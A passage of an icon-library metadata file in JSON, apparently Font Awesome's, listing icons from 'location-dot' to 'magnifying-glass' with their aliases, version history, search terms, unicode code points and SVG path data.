        "path": "M256 0c17.7 0 32 14.3 32 32V66.7C368.4 80.1 431.9 143.6 445.3 224H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H445.3C431.9 368.4 368.4 431.9 288 445.3V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V445.3C143.6 431.9 80.1 368.4 66.7 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H66.7C80.1 143.6 143.6 80.1 224 66.7V32c0-17.7 14.3-32 32-32zM128 256a128 128 0 1 0 256 0 128 128 0 1 0 -256 0zm128-80a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"
      }
    },
    "free": ["solid"]
  },
  "location-dot": {
    "aliases": {
      "names": ["map-marker-alt"],
      "unicodes": {
        "secondary": ["10f3c5"]
      }
    },
    "changes": [
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "coordinates",
        "destination",
        "gps",
        "localize",
        "location",
        "map",
        "navigation",
        "paper",
        "pin",
        "place",
        "point of interest",
        "position",
        "route",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3c5",
    "label": "Location Dot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M215.7 499.2C267 435 384 279.4 384 192C384 86 298 0 192 0S0 86 0 192c0 87.4 117 243 168.3 307.2c12.3 15.3 35.1 15.3 47.4 0zM192 128a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M215.7 499.2C267 435 384 279.4 384 192C384 86 298 0 192 0S0 86 0 192c0 87.4 117 243 168.3 307.2c12.3 15.3 35.1 15.3 47.4 0zM192 128a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      }
    },
    "free": ["solid"]
  },
  "location-pin": {
    "aliases": {
      "names": ["map-marker"],
      "unicodes": {
        "secondary": ["10f041"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "coordinates",
        "destination",
        "gps",
        "localize",
        "location",
        "map",
        "navigation",
        "paper",
        "pin",
        "place",
        "point of interest",
        "position",
        "route",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f041",
    "label": "Location Pin",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 192c0 87.4-117 243-168.3 307.2c-12.3 15.3-35.1 15.3-47.4 0C117 435 0 279.4 0 192C0 86 86 0 192 0S384 86 384 192z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 192c0 87.4-117 243-168.3 307.2c-12.3 15.3-35.1 15.3-47.4 0C117 435 0 279.4 0 192C0 86 86 0 192 0S384 86 384 192z"
      }
    },
    "free": ["solid"]
  },
  "location-pin-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["closed", "lockdown", "map", "quarantine"]
    },
    "styles": ["solid"],
    "unicode": "e51f",
    "label": "Location Pin Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M215.7 499.2c11-13.8 25.1-31.7 40.3-52.3V352c0-23.7 12.9-44.4 32-55.4V272c0-55.6 40.5-101.7 93.6-110.5C367 70 287.7 0 192 0C86 0 0 86 0 192c0 87.4 117 243 168.3 307.2c12.3 15.3 35.1 15.3 47.4 0zM192 128a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM400 240c17.7 0 32 14.3 32 32v48H368V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H480c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M215.7 499.2c11-13.8 25.1-31.7 40.3-52.3V352c0-23.7 12.9-44.4 32-55.4V272c0-55.6 40.5-101.7 93.6-110.5C367 70 287.7 0 192 0C86 0 0 86 0 192c0 87.4 117 243 168.3 307.2c12.3 15.3 35.1 15.3 47.4 0zM192 128a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM400 240c17.7 0 32 14.3 32 32v48H368V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H480c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "lock": {
    "aliases": {
      "unicodes": {
        "composite": ["1f512"],
        "secondary": ["10f023"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "closed",
        "lock",
        "locked",
        "open",
        "password",
        "private",
        "protect",
        "security"
      ]
    },
    "styles": ["solid"],
    "unicode": "f023",
    "label": "Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M144 144v48H304V144c0-44.2-35.8-80-80-80s-80 35.8-80 80zM80 192V144C80 64.5 144.5 0 224 0s144 64.5 144 144v48h16c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V256c0-35.3 28.7-64 64-64H80z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M144 144v48H304V144c0-44.2-35.8-80-80-80s-80 35.8-80 80zM80 192V144C80 64.5 144.5 0 224 0s144 64.5 144 144v48h16c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V256c0-35.3 28.7-64 64-64H80z"
      }
    },
    "free": ["solid"]
  },
  "lock-open": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f3c1"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.0.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "lock",
        "open",
        "password",
        "private",
        "protect",
        "security",
        "unlock"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3c1",
    "label": "Lock Open",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M352 144c0-44.2 35.8-80 80-80s80 35.8 80 80v48c0 17.7 14.3 32 32 32s32-14.3 32-32V144C576 64.5 511.5 0 432 0S288 64.5 288 144v48H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H352V144z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M352 144c0-44.2 35.8-80 80-80s80 35.8 80 80v48c0 17.7 14.3 32 32 32s32-14.3 32-32V144C576 64.5 511.5 0 432 0S288 64.5 288 144v48H64c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V256c0-35.3-28.7-64-64-64H352V144z"
      }
    },
    "free": ["solid"]
  },
  "locust": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["horde", "infestation", "locust", "plague", "swarm"]
    },
    "styles": ["solid"],
    "unicode": "e520",
    "label": "Locust",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M312 32c-13.3 0-24 10.7-24 24s10.7 24 24 24h16c98.7 0 180.6 71.4 197 165.4c-9-3.5-18.8-5.4-29-5.4H431.8l-41.8-97.5c-3.4-7.9-10.8-13.4-19.3-14.4s-17 2.7-22.1 9.6l-40.9 55.5-21.7-50.7c-3.3-7.8-10.5-13.2-18.9-14.3s-16.7 2.3-22 8.9l-240 304c-8.2 10.4-6.4 25.5 4 33.7s25.5 6.4 33.7-4l79.4-100.5 43 16.4-40.5 55c-7.9 10.7-5.6 25.7 5.1 33.6s25.7 5.6 33.6-5.1L215.1 400h74.5l-29.3 42.3c-7.5 10.9-4.8 25.8 6.1 33.4s25.8 4.8 33.4-6.1L348 400h80.4l38.8 67.9c6.6 11.5 21.2 15.5 32.7 8.9s15.5-21.2 8.9-32.7L483.6 400H496c44.1 0 79.8-35.7 80-79.7c0-.1 0-.2 0-.3V280C576 143 465 32 328 32H312zm50.5 168l17.1 40H333l29.5-40zm-87.7 38.1l-1.4 1.9H225.1l32.7-41.5 16.9 39.5zM88.8 240C57.4 240 32 265.4 32 296.8c0 15.5 6.3 30 16.9 40.4L126.7 240H88.8zM496 288a16 16 0 1 1 0 32 16 16 0 1 1 0-32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M312 32c-13.3 0-24 10.7-24 24s10.7 24 24 24h16c98.7 0 180.6 71.4 197 165.4c-9-3.5-18.8-5.4-29-5.4H431.8l-41.8-97.5c-3.4-7.9-10.8-13.4-19.3-14.4s-17 2.7-22.1 9.6l-40.9 55.5-21.7-50.7c-3.3-7.8-10.5-13.2-18.9-14.3s-16.7 2.3-22 8.9l-240 304c-8.2 10.4-6.4 25.5 4 33.7s25.5 6.4 33.7-4l79.4-100.5 43 16.4-40.5 55c-7.9 10.7-5.6 25.7 5.1 33.6s25.7 5.6 33.6-5.1L215.1 400h74.5l-29.3 42.3c-7.5 10.9-4.8 25.8 6.1 33.4s25.8 4.8 33.4-6.1L348 400h80.4l38.8 67.9c6.6 11.5 21.2 15.5 32.7 8.9s15.5-21.2 8.9-32.7L483.6 400H496c44.1 0 79.8-35.7 80-79.7c0-.1 0-.2 0-.3V280C576 143 465 32 328 32H312zm50.5 168l17.1 40H333l29.5-40zm-87.7 38.1l-1.4 1.9H225.1l32.7-41.5 16.9 39.5zM88.8 240C57.4 240 32 265.4 32 296.8c0 15.5 6.3 30 16.9 40.4L126.7 240H88.8zM496 288a16 16 0 1 1 0 32 16 16 0 1 1 0-32z"
      }
    },
    "free": ["solid"]
  },
  "lungs": {
    "aliases": {
      "unicodes": {
        "composite": ["1fac1"],
        "secondary": ["10f604"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "air",
        "breath",
        "covid-19",
        "exhalation",
        "inhalation",
        "lungs",
        "organ",
        "respiration",
        "respiratory"
      ]
    },
    "styles": ["solid"],
    "unicode": "f604",
    "label": "Lungs",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 0c17.7 0 32 14.3 32 32V164.1c0 16.4 8.4 31.7 22.2 40.5l9.8 6.2V165.3C384 127 415 96 453.3 96c21.7 0 42.8 10.2 55.8 28.8c15.4 22.1 44.3 65.4 71 116.9c26.5 50.9 52.4 112.5 59.6 170.3c.2 1.3 .2 2.6 .2 4v7c0 49.1-39.8 89-89 89c-7.3 0-14.5-.9-21.6-2.7l-72.7-18.2C414 480.5 384 442.1 384 398V325l90.5 57.6c7.5 4.7 17.3 2.5 22.1-4.9s2.5-17.3-4.9-22.1L384 287.1v-.4l-44.1-28.1c-7.3-4.6-13.9-10.1-19.9-16.1c-5.9 6-12.6 11.5-19.9 16.1L256 286.7 161.2 347l-13.5 8.6c0 0 0 0-.1 0c-7.4 4.8-9.6 14.6-4.8 22.1c4.7 7.5 14.6 9.7 22.1 4.9l91.1-58V398c0 44.1-30 82.5-72.7 93.1l-72.7 18.2c-7.1 1.8-14.3 2.7-21.6 2.7c-49.1 0-89-39.8-89-89v-7c0-1.3 .1-2.7 .2-4c7.2-57.9 33.1-119.4 59.6-170.3c26.8-51.5 55.6-94.8 71-116.9c13-18.6 34-28.8 55.8-28.8C225 96 256 127 256 165.3v45.5l9.8-6.2c13.8-8.8 22.2-24.1 22.2-40.5V32c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 0c17.7 0 32 14.3 32 32V164.1c0 16.4 8.4 31.7 22.2 40.5l9.8 6.2V165.3C384 127 415 96 453.3 96c21.7 0 42.8 10.2 55.8 28.8c15.4 22.1 44.3 65.4 71 116.9c26.5 50.9 52.4 112.5 59.6 170.3c.2 1.3 .2 2.6 .2 4v7c0 49.1-39.8 89-89 89c-7.3 0-14.5-.9-21.6-2.7l-72.7-18.2C414 480.5 384 442.1 384 398V325l90.5 57.6c7.5 4.7 17.3 2.5 22.1-4.9s2.5-17.3-4.9-22.1L384 287.1v-.4l-44.1-28.1c-7.3-4.6-13.9-10.1-19.9-16.1c-5.9 6-12.6 11.5-19.9 16.1L256 286.7 161.2 347l-13.5 8.6c0 0 0 0-.1 0c-7.4 4.8-9.6 14.6-4.8 22.1c4.7 7.5 14.6 9.7 22.1 4.9l91.1-58V398c0 44.1-30 82.5-72.7 93.1l-72.7 18.2c-7.1 1.8-14.3 2.7-21.6 2.7c-49.1 0-89-39.8-89-89v-7c0-1.3 .1-2.7 .2-4c7.2-57.9 33.1-119.4 59.6-170.3c26.8-51.5 55.6-94.8 71-116.9c13-18.6 34-28.8 55.8-28.8C225 96 256 127 256 165.3v45.5l9.8-6.2c13.8-8.8 22.2-24.1 22.2-40.5V32c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "lungs-virus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e067"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "breath",
        "coronavirus",
        "covid-19",
        "flu",
        "infection",
        "pandemic",
        "respiratory",
        "sick"
      ]
    },
    "styles": ["solid"],
    "unicode": "e067",
    "label": "Lungs Virus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 0c17.7 0 32 14.3 32 32V156.2c-8.5-7.6-19.7-12.2-32-12.2s-23.5 4.6-32 12.2V32c0-17.7 14.3-32 32-32zM444.5 195.5c-16.4-16.4-41.8-18.5-60.5-6.1V165.3C384 127 415 96 453.3 96c21.7 0 42.8 10.2 55.8 28.8c15.4 22.1 44.3 65.4 71 116.9c26.5 50.9 52.4 112.5 59.6 170.3c.2 1.3 .2 2.6 .2 4v7c0 49.1-39.8 89-89 89c-7.3 0-14.5-.9-21.6-2.7l-72.7-18.2c-20.9-5.2-38.7-17.1-51.5-32.9c14 1.5 28.5-3 39.2-13.8l-22.6-22.6 22.6 22.6c18.7-18.7 18.7-49.1 0-67.9c-1.1-1.1-1.4-2-1.5-2.5c-.1-.8-.1-1.8 .4-2.9s1.2-1.9 1.8-2.3c.5-.3 1.3-.8 2.9-.8c26.5 0 48-21.5 48-48s-21.5-48-48-48c-1.6 0-2.4-.4-2.9-.8c-.6-.4-1.3-1.2-1.8-2.3s-.5-2.2-.4-2.9c.1-.6 .4-1.4 1.5-2.5c18.7-18.7 18.7-49.1 0-67.9zM421.8 421.8c-6.2 6.2-16.4 6.2-22.6 0C375.9 398.5 336 415 336 448c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-33-39.9-49.5-63.2-26.2c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6C241.5 375.9 225 336 192 336c-8.8 0-16-7.2-16-16s7.2-16 16-16c33 0 49.5-39.9 26.2-63.2c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0C264.1 241.5 304 225 304 192c0-8.8 7.2-16 16-16s16 7.2 16 16c0 33 39.9 49.5 63.2 26.2c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6C398.5 264.1 415 304 448 304c8.8 0 16 7.2 16 16s-7.2 16-16 16c-33 0-49.5 39.9-26.2 63.2c6.2 6.2 6.2 16.4 0 22.6zM183.3 491.2l-72.7 18.2c-7.1 1.8-14.3 2.7-21.6 2.7c-49.1 0-89-39.8-89-89v-7c0-1.3 .1-2.7 .2-4c7.2-57.9 33.1-119.4 59.6-170.3c26.8-51.5 55.6-94.8 71-116.9c13-18.6 34-28.8 55.8-28.8C225 96 256 127 256 165.3v24.1c-18.6-12.4-44-10.3-60.5 6.1c-18.7 18.7-18.7 49.1 0 67.9c1.1 1.1 1.4 2 1.5 2.5c.1 .8 .1 1.8-.4 2.9s-1.2 1.9-1.8 2.3c-.5 .3-1.3 .8-2.9 .8c-26.5 0-48 21.5-48 48s21.5 48 48 48c1.6 0 2.4 .4 2.9 .8c.6 .4 1.3 1.2 1.8 2.3s.5 2.2 .4 2.9c-.1 .6-.4 1.4-1.5 2.5c-18.7 18.7-18.7 49.1 0 67.9c10.7 10.7 25.3 15.3 39.2 13.8c-12.8 15.9-30.6 27.7-51.5 32.9zM296 320a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm72 32a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 0c17.7 0 32 14.3 32 32V156.2c-8.5-7.6-19.7-12.2-32-12.2s-23.5 4.6-32 12.2V32c0-17.7 14.3-32 32-32zM444.5 195.5c-16.4-16.4-41.8-18.5-60.5-6.1V165.3C384 127 415 96 453.3 96c21.7 0 42.8 10.2 55.8 28.8c15.4 22.1 44.3 65.4 71 116.9c26.5 50.9 52.4 112.5 59.6 170.3c.2 1.3 .2 2.6 .2 4v7c0 49.1-39.8 89-89 89c-7.3 0-14.5-.9-21.6-2.7l-72.7-18.2c-20.9-5.2-38.7-17.1-51.5-32.9c14 1.5 28.5-3 39.2-13.8l-22.6-22.6 22.6 22.6c18.7-18.7 18.7-49.1 0-67.9c-1.1-1.1-1.4-2-1.5-2.5c-.1-.8-.1-1.8 .4-2.9s1.2-1.9 1.8-2.3c.5-.3 1.3-.8 2.9-.8c26.5 0 48-21.5 48-48s-21.5-48-48-48c-1.6 0-2.4-.4-2.9-.8c-.6-.4-1.3-1.2-1.8-2.3s-.5-2.2-.4-2.9c.1-.6 .4-1.4 1.5-2.5c18.7-18.7 18.7-49.1 0-67.9zM421.8 421.8c-6.2 6.2-16.4 6.2-22.6 0C375.9 398.5 336 415 336 448c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-33-39.9-49.5-63.2-26.2c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6C241.5 375.9 225 336 192 336c-8.8 0-16-7.2-16-16s7.2-16 16-16c33 0 49.5-39.9 26.2-63.2c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0C264.1 241.5 304 225 304 192c0-8.8 7.2-16 16-16s16 7.2 16 16c0 33 39.9 49.5 63.2 26.2c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6C398.5 264.1 415 304 448 304c8.8 0 16 7.2 16 16s-7.2 16-16 16c-33 0-49.5 39.9-26.2 63.2c6.2 6.2 6.2 16.4 0 22.6zM183.3 491.2l-72.7 18.2c-7.1 1.8-14.3 2.7-21.6 2.7c-49.1 0-89-39.8-89-89v-7c0-1.3 .1-2.7 .2-4c7.2-57.9 33.1-119.4 59.6-170.3c26.8-51.5 55.6-94.8 71-116.9c13-18.6 34-28.8 55.8-28.8C225 96 256 127 256 165.3v24.1c-18.6-12.4-44-10.3-60.5 6.1c-18.7 18.7-18.7 49.1 0 67.9c1.1 1.1 1.4 2 1.5 2.5c.1 .8 .1 1.8-.4 2.9s-1.2 1.9-1.8 2.3c-.5 .3-1.3 .8-2.9 .8c-26.5 0-48 21.5-48 48s21.5 48 48 48c1.6 0 2.4 .4 2.9 .8c.6 .4 1.3 1.2 1.8 2.3s.5 2.2 .4 2.9c-.1 .6-.4 1.4-1.5 2.5c-18.7 18.7-18.7 49.1 0 67.9c10.7 10.7 25.3 15.3 39.2 13.8c-12.8 15.9-30.6 27.7-51.5 32.9zM296 320a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm72 32a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "lyft": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3c3",
    "label": "lyft",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z"
      }
    },
    "free": ["brands"]
  },
  "m": {
    "aliases": {
      "unicodes": {
        "composite": ["6d"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter M", "Latin Small Letter M", "letter"]
    },
    "styles": ["solid"],
    "unicode": "4d",
    "label": "M",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M22.7 33.4c13.5-4.1 28.1 1.1 35.9 12.9L224 294.3 389.4 46.2c7.8-11.7 22.4-17 35.9-12.9S448 49.9 448 64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V169.7L250.6 369.8c-5.9 8.9-15.9 14.2-26.6 14.2s-20.7-5.3-26.6-14.2L64 169.7V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 49.9 9.2 37.5 22.7 33.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M22.7 33.4c13.5-4.1 28.1 1.1 35.9 12.9L224 294.3 389.4 46.2c7.8-11.7 22.4-17 35.9-12.9S448 49.9 448 64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V169.7L250.6 369.8c-5.9 8.9-15.9 14.2-26.6 14.2s-20.7-5.3-26.6-14.2L64 169.7V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 49.9 9.2 37.5 22.7 33.4z"
      }
    },
    "free": ["solid"]
  },
  "magento": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3c4",
    "label": "Magento",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z"
      }
    },
    "free": ["brands"]
  },
  "magnet": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9f2"],
        "secondary": ["10f076"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.8.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Attract",
        "attraction",
        "horseshoe",
        "lodestone",
        "magnet",
        "magnetic",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f076",
    "label": "Magnet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 160v96C0 379.7 100.3 480 224 480s224-100.3 224-224V160H320v96c0 53-43 96-96 96s-96-43-96-96V160H0zm0-32H128V64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v64zm320 0H448V64c0-17.7-14.3-32-32-32H352c-17.7 0-32 14.3-32 32v64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 160v96C0 379.7 100.3 480 224 480s224-100.3 224-224V160H320v96c0 53-43 96-96 96s-96-43-96-96V160H0zm0-32H128V64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64v64zm320 0H448V64c0-17.7-14.3-32-32-32H352c-17.7 0-32 14.3-32 32v64z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass": {
    "aliases": {
      "names": ["search"],
      "unicodes": {
        "composite": ["1f50d"],
        "secondary": ["10f002"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bigger",
        "enlarge",
        "find",
        "glass",
        "magnify",
        "magnifying",
        "magnifying glass tilted left",
        "preview",
        "search",
        "tool",
        "zoom"
      ]
    },
    "styles": ["solid"],
    "unicode": "f002",
    "label": "Magnifying Glass",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM208 352a144 144 0 1 0 0-288 144 144 0 1 0 0 288z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM208 352a144 144 0 1 0 0-288 144 144 0 1 0 0 288z"
      }
    },
    "free": ["solid"]
  },
  "magnifying-glass-arrow-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["find", "next", "search"]
    },
    "styles": ["solid"],
    "unicode": "e521",
    "label": "Magnifying Glass Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
